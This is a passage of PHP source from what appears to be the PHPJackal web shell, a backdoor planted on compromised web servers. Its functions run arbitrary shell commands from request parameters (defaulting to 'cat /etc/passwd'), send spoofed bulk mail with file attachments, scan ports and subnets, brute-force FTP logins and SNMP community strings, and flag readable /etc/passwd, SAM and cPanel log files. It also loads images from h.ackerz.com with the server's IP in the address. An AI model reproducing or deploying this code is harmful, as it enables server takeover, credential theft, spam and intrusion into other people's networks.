  625. echo '<img src="http://h.ackerz.com/PHPJackal/images/webshell.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="form"><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Location:</label><div class="thefield"><input type="text" name="workingdiR" value="'.$cwd.'" size="30" /><br /></div></div><div class="buttonsdiv"><input type="submit" value="Change" style="margin-left: 150px;" /></div></form><form method="POST" class="form">';
  626. if(!empty($_REQUEST['cmd'])){
  627. echo '<div class="fieldwrapper"><label class="styled">Result:</label><div class="thefield"><pre>';echo shelL($_REQUEST['cmd']);echo'</pre></div></div>';
  628. }
  629. echo '<div class="fieldwrapper"><label class="styled">Command:</label><div class="thefield"><input type="text" name="cmd" value="';if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo '" size="30" /><br /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Alias:</label><div class="thefield"><select name="cmd">'.$alias.'</select></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form>';
  630. }
  631. function maileR(){
  632. global $hcwd,$cwd;
  633. echo '<img src="http://h.ackerz.com/PHPJackal/images/mail.png" style="border: none; margin: 0;" /><br /><br />';
  634. if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
  635. $from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
  636. $to= explode("\n",$_REQUEST['to']);
  637. $headers="From: $from";
  638. if(!empty($_REQUEST['attach'])){
  639. if(is_readable($_REQUEST['attach'])){
  640. $data=file_get_contents($_REQUEST['attach']);
  641. $mime_boundary = "----=".md5(time());;
  642. $headers .= "\nMIME-Version: 1.0\n".
  643. "Content-Type: multipart/mixed; boundary=\"$mime_boundary\"";
  644. $data = chunk_split(base64_encode($data));
  645. $type=get_mimE($_REQUEST['attach']);
  646. $body =
  647. "$mime_boundary\n".
  648. "Content-Type: text/html; charset=\"iso-8859-1\"\n".
  649. "Content-Transfer-Encoding: 7bit\n\n".
  650. $body."\n".
  651. "$mime_boundary\n".
  652. "Content-Type: $type; name=\"".basename($_REQUEST['attach'])."\"\n".
  653. "Content-Disposition: attachment; filename=\"".basename($_REQUEST['attach'])."\"\n".
  654. "Content-Transfer-Encoding: Base64\n\n".
  655. $data."\n".
  656. "$mime_boundary--\n";
  657. }
  658. }
  659. $_SERVER['PHP_SELF'] = "/";
  660. $_SERVER['REMOTE_ADDR'] = '127.0.0.1';
  661. $_SERVER['SERVER_NAME'] = 'google.com';
  662. echo "<pre>";
  663. foreach ($to as $target){
  664. $info=explode('@',$target);
  665. $rsubject=str_replace('[EMAIL]',$target,$subject);$rsubject=str_replace('[USER]',$info[0],$subject);$rsubject=str_replace('[DOMAIN]',$info[1],$subject);
  666. $rbody=str_replace('[EMAIL]',$target,$body);
  667. $rbody=str_replace('[USER]',$info[0],$rbody);
  668. $rbody=str_replace('[DOMAIN]',$info[1],$rbody);
  669. for($i=0;$i<(int)$_REQUEST['count'];$i++){
  670. $target=trim($target);
  671. if(mail($target,$rsubject,$rbody,$headers))echo "Email to ".htmlspecialchars($target). " sent!\r\n";else echo "Error: Can not send mail to ".htmlspecialchars($target)."!\r\n";
  672. }
  673. }
  674. echo "</pre><br />";
  675. }else{
  676. echo '<form name=client method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Mail sender</label></div><div class="fieldwrapper"><label class="styled">SMTP:</label><div class="thefield">'.ini_get('SMTP').':'.ini_get('smtp_port').'</div></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="from" value="[email protected]" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><textarea name="to">';if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo '</textarea></div></div><div class="fieldwrapper"><label class="styled">Subject:</label><div class="thefield"><input type="text" name="subject" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Body:</label><div class="thefield"><textarea name="body">
  677. For each address will be [USER], [DOMAIN] and [EMAIL] replaced in mail subject and body.
  678.  
  679. [USER] => john
  680. [DOMAIN] => example.net
  681. [EMAIL] => [email protected]
  682.  
  683. </textarea></div></div>
  684. <div class="fieldwrapper"><label class="styled">Attachment:</label><div class="thefield"><input type="text" name="attach" value="';if(!empty($_REQUEST['attacH']))echo htmlspecialchars($cwd.DIRECTORY_SEPARATOR.$_REQUEST['attacH']);echo '" /></div></div>
  685. <div class="fieldwrapper"><label class="styled">Count:</label><div class="thefield"><input type="text" name="count" size="5" value="1" /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Send" style="margin-left: 150px;" /></div></form>';
  686. }
  687. }
  688. function scanneR(){
  689. global $hcwd;
  690. echo '<img src="http://h.ackerz.com/PHPJackal/images/scanner.png" style="border: none; margin: 0;" /><br /><br />';
  691. if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1';
  692. $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
  693. if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
  694. $target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0;
  695. echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br />';
  696. $start=time();
  697. for($i=$from;$i<=$to;$i++){
  698. if($tcp){
  699. if(checkthisporT($target,$i,$timeout)){
  700. $nu++;
  701. $ser='';
  702. if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')';
  703. echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>";
  704. }
  705. }
  706. if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";}
  707. }
  708. $time=time()-$start;
  709. echo "Done! ($time seconds)</font>";
  710. }
  711. elseif(!empty($_REQUEST['securityscanner'])){
  712. echo '<font color=blue>';
  713. $start=time();
  714. $from=$_REQUEST['from'];
  715. $to=$_REQUEST['to'];
  716. $fIP=ip2long($from);
  717. $tIP=ip2long($to);
  718. if($fIP>$tIP){
  719. echo 'Invalid range;</font>';
  720. return 0;
  721. }
  722. $timeout=(int)$_REQUEST['timeout'];
  723. if(!empty($_REQUEST['httpscanner'])){
  724. echo 'Loading webserver bug list...';
  725. $buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL');
  726. $dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
  727. if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>';
  728. }else{$fr=htmlspecialchars($from);echo "Scanning $from-$to:<br><br>";}
  729. for($i=$fIP;$i<=$tIP;$i++){
  730. $output=0;
  731. $ip=long2ip($i);
  732. if(!empty($_REQUEST['nslookup'])){
  733. $hn=gethostbyaddr($ip);
  734. if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;}
  735. if(!empty($_REQUEST['ipscanner'])){
  736. $port=$_REQUEST['port'];
  737. if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port;
  738. $open=$ser='';
  739. foreach($p as $po){
  740. $scan=checkthisporT($ip,$po,$timeout);
  741. if($scan){
  742. $ser='';
  743. if($ser=getservbyport($po,'tcp'))$ser="($ser)";
  744. $open.=" $po$ser ";
  745. }
  746. }
  747. if($open){echo "$ip) Open ports:$open<br>";$output=1;}
  748. }
  749. if(!empty($_REQUEST['httpbanner'])){
  750. $res=get_sw_namE($ip,$timeout);
  751. if($res){
  752. echo "$ip) Webserver software: ";
  753. if($res==-1)echo 'Unknow';
  754. else echo $res;
  755. echo '<br>';
  756. $output=1;
  757. }
  758. }
  759. if(!empty($_REQUEST['httpscanner'])){
  760. if(checkthisporT($ip,80,$timeout) && !empty($file)){
  761. $admin=array('/admin/','/adm/');
  762. $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
  763. $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
  764. $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
  765. foreach($file as $v){
  766. $vuln=array();
  767. $v=trim($v);
  768. if(!$v || $v{0}=='#')continue;
  769. $v=str_replace('","','^',$v);
  770. $v=str_replace('"','',$v);
  771. $vuln=explode('^',$v);
  772. $page=$cqich=$nukech=$adminch=$userch=$vuln[1];
  773. if(strstr($page,'@CGIDIRS'))
  774. foreach($cgi as $cg){
  775. $cqich=str_replace('@CGIDIRS',$cg,$page);
  776. $url="http://$ip$cqich";
  777. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  778. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  779. }
  780. elseif(strstr($page,'@ADMINDIRS'))
  781. foreach($admin as $cg){
  782. $adminch=str_replace('@ADMINDIRS',$cg,$page);
  783. $url="http://$ip$adminch";
  784. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  785. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  786. }
  787. elseif(strstr($page,'@USERS'))
  788. foreach($users as $cg){
  789. $userch=str_replace('@USERS',$cg,$page);
  790. $url="http://$ip$userch";
  791. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  792. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  793. }
  794. elseif(strstr($page,'@NUKE'))
  795. foreach($nuke as $cg){
  796. $nukech=str_replace('@NUKE',$cg,$page);
  797. $url="http://$ip$nukech";
  798. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  799. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  800. }
  801. else{
  802. $url="http://$ip$page";
  803. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  804. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  805. }
  806. }
  807. }
  808. }
  809. if(!empty($_REQUEST['smtprelay'])){
  810. if(checkthisporT($ip,25,$timeout)){
  811. $res='';
  812. $res=checksmtP($ip,$timeout);
  813. if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}
  814. }
  815. }
  816. if(!empty($_REQUEST['snmpscanner'])){
  817. if(checkthisporT($ip,161,$timeout,1)){
  818. $com=$_REQUEST['com'];
  819. $coms=$res='';
  820. if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com;
  821. foreach($c as $v){
  822. $ret=snmpchecK($ip,$v,$timeout);
  823. if($ret)$coms.=" $v ";
  824. }
  825. if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
  826. }
  827. }
  828. if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){
  829. if(checkthisporT($ip,21,$timeout)){
  830. $usps=explode(',',$_REQUEST['userpass']);
  831. foreach($usps as $v){
  832. $user=substr($v,0,strpos($v,':'));
  833. $pass=substr($v,strpos($v,':')+1);
  834. if($pass=='[BLANK]')$pass='';
  835. if(ftpchecK($ip,$user,$pass,$timeout)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";}
  836. }
  837. }
  838. }
  839. }
  840. $time=time()-$start;
  841. echo "Done! ($time seconds)</font>";
  842. if(!empty($buglist))unlink($buglist);
  843. }
  844. elseif(!empty($_REQUEST['directoryscanner'])){
  845. $dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1'];
  846. echo "<font color=blue><pre>Scanning started...\n";
  847. for($i=0;$i<count($dir);$i++){
  848. $d=trim($dir[$i]);
  849. if($r){
  850. $adr="http://$host/$d/";
  851. if(check_urL($adr,'GET','200')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";}
  852. }else{
  853. $adr="$d.$host";
  854. $ip=gethostbyname($adr);
  855. if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";}
  856. }
  857. }
  858. echo 'Done!</pre></font>';
  859. }
  860. else{
  861. $chbox=(extension_loaded('sockets'))?"<ul><li><input type=checkbox name=tcp value=1 checked> <lable>TCP</lable></li><li><input type=checkbox name=udp value=1 checked> <lable>UDP</lable></li></ul>":'<input type="hidden" name="tcp" value="1">';
  862. echo '<form name=port method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Port scanner</label></div><div class="fieldwrapper"><label class="styled">Target:</label><div class="thefield"><input type="text" name="target" value="'.$host.'" size="30" /></div></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="fromport" value="1" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><input type="text" name="toport" value="1024" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Options:</label><div class="thefield"><ul style="margin-top:0;"><li><label>Timeout:</label> <input type="text" name="timeout" size="5" value="2"></li>'.$chbox.'</u></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="portscanner" value="Scan" style="margin-left: 150px;" /></div></form><br /><form name=disc method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Discover</label></div><div class="fieldwrapper"><label class="styled">Target:</label><div class="thefield"><input type="text" name="host" value="'.$_SERVER["HTTP_HOST"].'" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Dictionary:</label><div class="thefield"><input type="text" name="dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Search for:</label><div class="thefield"><ul><li><input type=radio value=1 checked name=r1> <label>Directories</label></li><li><input type=radio name=r1 value=0> <label>Subdomains</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="directoryscanner" value="Scan" style="margin-left: 150px;" /></div></form>';
  863. $host=substr($host,0,strrpos($host,"."));
  864. echo '<form name=security method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Security scanner</label></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="from" value="'.$host.'.1" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><input type="text" name="to" value="'.$host.'.255" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Options:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="checkbox" value="1" name="nslookup" checked> <label>NS lookup</label></li><li><label>Timeout:</label> <input type="text" name="timeout" size="5" value="2"></li><li><input type=checkbox name=ipscanner value=1 checked onClick="document.security.port.disabled = !document.security.port.disabled;"> <label>Port scanner:</label> <input name=port type=text value="21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301" size="30"></li><li><input type=checkbox name=httpbanner value=1 checked> <label>Grab HTTP headers</label></li><li><input type=checkbox name=httpscanner value=1 checked> <label>Webserver security scanning</label></li><li><input type=checkbox name=smtprelay value=1 checked> <label>SMTP relay check</label></li><li><input type=checkbox name=ftpscanner value=1 checked onClick="document.security.userpass.disabled = !document.security.userpass.disabled;"> <label>FTP password:</label> <input name=userpass type=text value="anonymous:[email protected],ftp:ftp,Administrator:[BLANK],guest:[BLANK]" size=30></li><li><input type=checkbox name=snmpscanner value=1 onClick="document.security.com.disabled = !document.security.com.disabled;" checked> <label>SNMP:</label> <input name=com type=text value="public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes" size=30></li><li></u></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="securityscanner" value="Scan" style="margin-left: 150px;" /></div></form>';
  865. }
  866. }
  867. function sysinfO(){
  868. global $windows,$disablefunctions,$cwd,$safemode;
  869. $basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF';
  870. if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER'];
  871. $osver=$tsize=$fsize='';
  872. $ds=implode(' ',$disablefunctions);
  873. $Clock='http://h.ackerz.com/PHPJackal/images/clock/';
  874. if($windows){
  875. $osver=shelL('ver');
  876. if(!empty($osver))$osver="($osver)";
  877. $sysroot=shelL("echo %systemroot%");
  878. if(empty($sysroot))$sysroot=$_SERVER['SystemRoot'];
  879. if(empty($sysroot))$sysroot = getenv('windir');
  880. if(empty($sysroot))$sysroot = 'Not Found';
  881. if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%');
  882. for($i=66;$i<=90;$i++){
  883. $drive=chr($i).':\\';
  884. if(disk_total_space($drive)){
  885. $fsize+=disk_free_space($drive);
  886. $tsize+=disk_total_space($drive);
  887. }
  888. }
  889. }else{
  890. $ap=shelL('whereis apache');
  891. if(empty($CPU))$CPU=shelL('grep "model name" /proc/cpuinfo | cut -d ":" -f2');
  892. if($CPU)$CPU=nl2br($CPU);
  893. if(!$ap)$ap='Unknow';
  894. $fsize=disk_free_space('/');
  895. $tsize=disk_total_space('/');
  896. }
  897. $diskper=floor(($fsize/$tsize)*100);
  898. $diskcolor='; background: ';
  899. if($diskper<33)$diskcolor.='green';elseif($diskper<66 && $diskper>33)$diskcolor.='orange';else $diskcolor.='red';
  900. $disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize);
  901. $diskspace=($tsize)?'<div class="progress-container" style="width: 100px" title="'.$disksize.'"><div style="width: '.$diskper.'%'.$diskcolor.'"></div></div>':'Unknown';
  902. if(empty($CPU))$CPU='Unknow';
  903. $os=php_uname();
  904. $osn=php_uname('s');
  905. if(!$windows){
  906. $ker=php_uname('r');
  907. $o=($osn=='Linux')?'Linux+Kernel':$osn;
  908. $os='http://www.exploit-db.com/search/?action=search&filter_platform=16" target="_blank">'.$osn.'</a>';
  909. $os='http://www.exploit-db.com/search/?action=search&filter_description=kernel&filter_platform=16" target="_blank">'.$ker.'</a>';
  910. $inpa=':';
  911. }else{
  912. $sam=$sysroot."\\system32\\config\\SAM";
  913. $inpa=';';
  914. $os='http://www.exploit-db.com/search/?action=search&filter_description=privilege+escalation&filter_platform=45" target="_blank">'.$osn.'</a>';
  915. }
  916. $cuser=get_current_user();
  917. if(!$cuser)$cuser='Unknow';
  918. echo '<img src="http://h.ackerz.com/PHPJackal/images/information.png" style="border: none; margin: 0;" /><br /><br /><div class="fieldwrapper"><label class="styled" style="width:320px">Server information</label></div><div class="fieldwrapper"><label class="styled">Server:</label><div class="thefield"><span>'; if(!empty($_SERVER['SERVER_ADDR']))echo '<img src="http://h.ackerz.com/info/?ip='.$_SERVER['SERVER_ADDR'].'"> ';echo '<a href="'.hlinK("seC=tools&serveR=whois.geektools.com&domaiN=".$_SERVER['HTTP_HOST']) .'">'.$_SERVER['HTTP_HOST'].'</a>';if(!empty($_SERVER['SERVER_ADDR'])){ echo '(<a href="'.hlinK("seC=tools&serveR=whois.geektools.com&domaiN=".$_SERVER['SERVER_ADDR']) .'">'.$_SERVER['SERVER_ADDR'].'</a>)';}echo '</span></div></div><div class="fieldwrapper"><label class="styled">Operation system:</label><div class="thefield"><span><a href="'.$os.$osver. '</span></div></div><div class="fieldwrapper"><label class="styled">Web server:</label><div class="thefield"><span>'.$_SERVER['SERVER_SOFTWARE']. '</span></div></div><div class="fieldwrapper"><label class="styled">CPU:</label><div class="thefield"><span>'.$CPU. '</span></div></div><div class="fieldwrapper"><label class="styled">Disk space:</label><span>
  919. '.$diskspace.'</span></div><div class="fieldwrapper"><label class="styled">User domain:</label><div class="thefield"><span>';if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo 'Unknow'; echo '</span></div></div><div class="fieldwrapper"><label class="styled">Username:</label><div class="thefield"><span>'.$cuser. '</span></div></div>';
  920. if($windows){echo '<div class="fieldwrapper"><label class="styled">Windows directory:</label><div class="thefield"><span><a href="'.hlinK("seC=fm&workingdiR=$sysroot").'">'.$sysroot.'</a></span></div></div><div class="fieldwrapper"><label class="styled">SAM file:</label><div class="thefield"><span>';if(is_readable(($sam)))echo '<a href="'.hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam").'">Readable</a>'; else echo 'Not readable';echo '</span></div></div>';}
  921. else
  922. {
  923. echo '
  924. <div class="fieldwrapper"><label class="styled">UID - GID:</label><div class="thefield"><span>'.getmyuid().' - '.getmygid().'</span></div></div><div class="fieldwrapper"><label class="styled">Passwd file:</label><div class="thefield"><span>';if(is_readable('/etc/passwd'))echo '<a href="'.hlinK("seC=openit&namE=/etc/passwd&workingdiR=$cwd").'">Readable</a>';else echo 'Not readable';echo '</span></div></div><div class="fieldwrapper"><label class="styled">cPanel:</label><div class="thefield"><span>';$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</span></div></div>';
  925. }
  926. echo '<div class="fieldwrapper"><label class="styled">PHP:</label><div class="thefield"><span><a href="javascript:void(0)" onclick=\'window.open("?='.php_logo_guid().'","","width=300,height=200,scrollbars=no")\'>'.PHP_VERSION.'</a>(<a href="'.hlinK("seC=phpinfo&workingdiR=$cwd").'">more...</a>).</span>
  927. </div></div><div class="fieldwrapper"><label class="styled">Zend version:</label><div class="thefield">
  928. <span>';if (function_exists('zend_version')) echo "<a href='javascript:void(0)' onclick=\"window.open('?=".zend_logo_guid()."','','width=300,height=200,scrollbars=no')\">".zend_version().'</a>';else echo 'Not Found';echo '</span>
  929. </div></div><div class="fieldwrapper">
  930. <label class="styled">Include path:</label>
  931. <div class="thefield">
  932. <span>'.str_replace($inpa,' ',DEFAULT_INCLUDE_PATH).'</span>
  933. </div>
  934. </div>
  935. <div class="fieldwrapper">
  936. <label class="styled">PHP Modules:</label>
  937. <div class="thefield">
  938. <span>';$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "[<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v $i</a>] ";}echo '</span>
  939. </div>
  940. </div>
  941. <div class="fieldwrapper">
  942. <label class="styled">Disabled functions:</label>
  943. <div class="thefield">
  944. <span>';if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo '</span>
  945. </div>
  946. </div>
  947. <div class="fieldwrapper">
  948. <label class="styled">Safe-mode:</label>
  949. <div class="thefield">
  950. <span>'.$safemode.'</span>
  951. </div>
  952. </div>
  953. <div class="fieldwrapper">
  954. <label class="styled">Open base dir:</label>
  955. <div class="thefield">
  956. <span>'.$basedir.'</span>
  957. </div>
  958. </div>
  959. <div class="fieldwrapper">
  960. <label class="styled">DBMS:</label>
  961. <div class="thefield">
  962. <span>';$sq='';
  963. if(function_exists('mysql_connect'))$sq= 'MySQL ';
  964. if(function_exists('mssql_connect'))$sq.= 'MSSQL ';
  965. if(function_exists('ora_logon'))$sq.= 'Oracle ';
  966. if(function_exists('sqlite_open'))$sq.= 'SQLite ';
  967. if(function_exists('pg_connect')) $sq.= 'PostgreSQL ';
  968. if(function_exists('msql_connect')) $sq.= 'mSQL ';
  969. if(function_exists('mysqli_connect'))$sq.= 'MySQLi ';
  970. if(function_exists('ovrimos_connect')) $sq.= 'Ovrimos SQL ';
  971. if ($sq=='') $sq= 'Nothing';
  972. echo $sq.'</span>
  973. </div>
  974. </div>
  975. <div class="fieldwrapper">
  976. <label class="styled">Time:</label>
  977. <div class="thefield">
  978. <span><div title="Local">
  979. <img src="'.$Clock.'8.png" name="hr1"><img
  980. src="'.$Clock.'8.png" name="hr2"><img
  981. src="'.$Clock.'c.png"><img
  982. src="'.$Clock.'8.png" name="mn1"><img
  983. src="'.$Clock.'8.png" name="mn2"><img
  984. src="'.$Clock.'c.png"><img
  985. src="'.$Clock.'8.png" name="se1"><img
  986. src="'.$Clock.'8.png" name="se2"><img
  987. src="'.$Clock.'pm.png" name="ampm">
  988. </div>
  989. <div title="Server">
  990. <img src="'.$Clock.'8.png" name="shr1"><img
  991. src="'.$Clock.'8.png" name="shr2"><img
  992. src="'.$Clock.'c.png"><img
  993. src="'.$Clock.'8.png" name="smn1"><img
  994. src="'.$Clock.'8.png" name="smn2"><img
  995. src="'.$Clock.'c.png"><img
  996. src="'.$Clock.'8.png" name="sse1"><img
  997. src="'.$Clock.'8.png" name="sse2"><img
  998. src="'.$Clock.'pm.png" name="sampm"></span>
  999. </div>
  1000. </div>
  1001. </div>
  1002. <script type="text/javascript">
  1003. dg0=new Image();dg0.src="'.$Clock.'0.png";
  1004. dg1=new Image();dg1.src="'.$Clock.'1.png";
  1005. dg2=new Image();dg2.src="'.$Clock.'2.png";
  1006. dg3=new Image();dg3.src="'.$Clock.'3.png";
  1007. dg4=new Image();dg4.src="'.$Clock.'4.png";
  1008. dg5=new Image();dg5.src="'.$Clock.'5.png";
  1009. dg6=new Image();dg6.src="'.$Clock.'6.png";
  1010. dg7=new Image();dg7.src="'.$Clock.'7.png";
  1011. dg8=new Image();dg8.src="'.$Clock.'8.png";
  1012. dg9=new Image();dg9.src="'.$Clock.'9.png";
  1013. dgam=new Image();dgam.src="'.$Clock.'am.png";
  1014. dgpm=new Image();dgpm.src="'.$Clock.'pm.png";
  1015. sh=';echo date('G');echo '+100;
  1016. sm=';echo date('i');echo '+100;
  1017. ss=';echo date('s');echo '+100;
  1018. function ltime(){
  1019. theTime=setTimeout("ltime()",1000);
  1020. d = new Date();
  1021. hr= d.getHours()+100;
  1022. mn= d.getMinutes()+100;
  1023. se= d.getSeconds()+100;
  1024. if(hr==100){hr=112;am_pm="am";}
  1025. else if(hr<112){am_pm="am";}
  1026. else if(hr==112){am_pm="pm";}
  1027. else if(hr>112){am_pm="pm";hr=(hr-12);}
  1028. tot=""+hr+mn+se;
  1029. document.hr1.src = "'.$Clock.'"+tot.substring(1,2)+".png";
  1030. document.hr2.src = "'.$Clock.'"+tot.substring(2,3)+".png";
  1031. document.mn1.src = "'.$Clock.'"+tot.substring(4,5)+".png";
  1032. document.mn2.src = "'.$Clock.'"+tot.substring(5,6)+".png";
  1033. document.se1.src = "'.$Clock.'"+tot.substring(7,8)+".png";
  1034. document.se2.src = "'.$Clock.'"+tot.substring(8,9)+".png";
  1035. document.ampm.src= "'.$Clock.'"+am_pm+".png";
  1036. }
  1037. function stime(){
  1038. theTime=setTimeout("stime()",1000);
  1039. ss++;
  1040. if(sh==100){sh=112;am_pm="am";}
  1041. else if(sh<112){am_pm="am";}
  1042. else if(sh==112){am_pm="pm";}
  1043. else if(sh>112){am_pm="pm";sh=(sh-12);}
  1044. if(ss==160){ss=100; sm++;}if(sm==160){sm=100; sh++;}
  1045. tot=""+sh+sm+ss;
  1046. document.shr1.src = "'.$Clock.'"+tot.substring(1,2)+".png";
  1047. document.shr2.src = "'.$Clock.'"+tot.substring(2,3)+".png";
  1048. document.smn1.src = "'.$Clock.'"+tot.substring(4,5)+".png";
  1049. document.smn2.src = "'.$Clock.'"+tot.substring(5,6)+".png";
  1050. document.sse1.src = "'.$Clock.'"+tot.substring(7,8)+".png";
  1051. document.sse2.src = "'.$Clock.'"+tot.substring(8,9)+".png";
  1052. document.sampm.src= "'.$Clock.'"+am_pm+".png";
  1053. }
  1054. ltime();
  1055. stime();
  1056. </script>
  1057. ';}
  1058. function checksuM($file){
  1059. echo "<pre>MD5: ".md5_file($file)."\r\nSHA1: ".sha1_file($file)."</pre>";
  1060. }
  1061. function listdiR($cwd,$task){
  1062. $c=getcwd();
  1063. $dh=opendir($cwd);
  1064. while($cont=readdir($dh)){
  1065. if($cont=='.' || $cont=='..')continue;
  1066. $adr=$cwd.DIRECTORY_SEPARATOR.$cont;
  1067. switch($task){
  1068. case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
